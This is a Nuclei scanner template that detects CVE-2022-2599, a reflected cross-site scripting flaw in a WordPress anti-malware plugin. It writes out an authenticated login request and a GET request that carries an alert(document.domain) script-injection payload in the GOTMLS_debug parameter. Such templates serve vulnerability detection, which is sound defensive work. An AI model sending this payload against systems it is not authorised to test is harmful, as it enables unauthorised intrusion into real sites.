nuclei-templates/http/cves/2022/CVE-2022-2599.yaml

64 lines
2.3 KiB
YAML

id: CVE-2022-2599
info:
name: WordPress Anti-Malware Security and Brute-Force Firewall <4.21.83 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
WordPress Anti-Malware Security and Brute-Force Firewall plugin before 4.21.83 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in an admin dashboard.
remediation: |
Update the WordPress Anti-Malware Security and Brute-Force Firewall plugin to version 4.21.83 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/276a7fc5-3d0d-446d-92cf-20060aecd0ef
- https://wordpress.org/plugins/gotmls/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2022-2599
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-2599
cwe-id: CWE-79
epss-score: 0.00119
epss-percentile: 0.45857
cpe: cpe:2.3:a:anti-malware_security_and_brute-force_firewall_project:anti-malware_security_and_brute-force_firewall:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: anti-malware_security_and_brute-force_firewall_project
product: anti-malware_security_and_brute-force_firewall
framework: wordpress
tags: wordpress,wp-plugin,xss,gotmls,authenticated,wpscan,cve,cve2022
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_debug=<%2Fscript><img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><img src onerror=alert(document.domain)>"
- "GOTMLS_mt"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100ba6f767bf105208b945d660010753aea82d07988132fd682d7340fedc3ada1af02202d0916178d0a4aafad0fe6fc689cbf5d2f3b89ed1666d01b2c9eb67d96a1e5c2:922c64590222798bb761d5b6d8e72950